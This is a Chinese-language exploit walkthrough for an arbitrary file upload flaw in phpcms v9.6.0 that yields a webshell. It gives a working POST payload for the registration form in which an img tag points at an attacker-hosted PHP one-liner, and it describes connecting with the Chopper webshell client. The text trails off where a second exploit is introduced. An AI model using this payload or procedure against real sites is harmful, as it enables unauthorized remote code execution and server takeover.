phpcms v9.6.0最新版任意文件上传漏洞 导致getshell。这两天网上疯传的phpcmsv9 getshell,小编非常得暴力,现在把漏洞详情放出来,大家可以看一下。
首先我们在本地搭建一个php环境,我这里是appserv(只要可以执行php文件就行)
在根目录下新建一个txt文本文件里面写上php一句话,如上图可以访问
接着我们找到phpcms网站注册模块,随便填一下信息
然后我们用burpsuite抓包
然后发送到repeater
我们在最下面的注册那儿使用img标签插入我们本地第一步搭建的一句话
poc如下:
siteid=1&modelid=11&username=zf1agac121&password=aasgfaewee311as&[email protected]&info[content]=<img src=http://192.168.1.157/templets/1.txt?.php#.jpg>&dosubmit=1&protocol=
只需要修改img里面的链接为你本地写入的一句话即可,还有要注意的是在repeater里测试go时每一次都要修改username,password和email字段值(不能重复,汗)
我们可以看到repeater里MYSQL query成功插入,接着访问上图repeater里我标黄语句,执行一句话
连接菜刀,getshell
利用方式二:
利用火狐的插件,操作如下
exp如下:三少
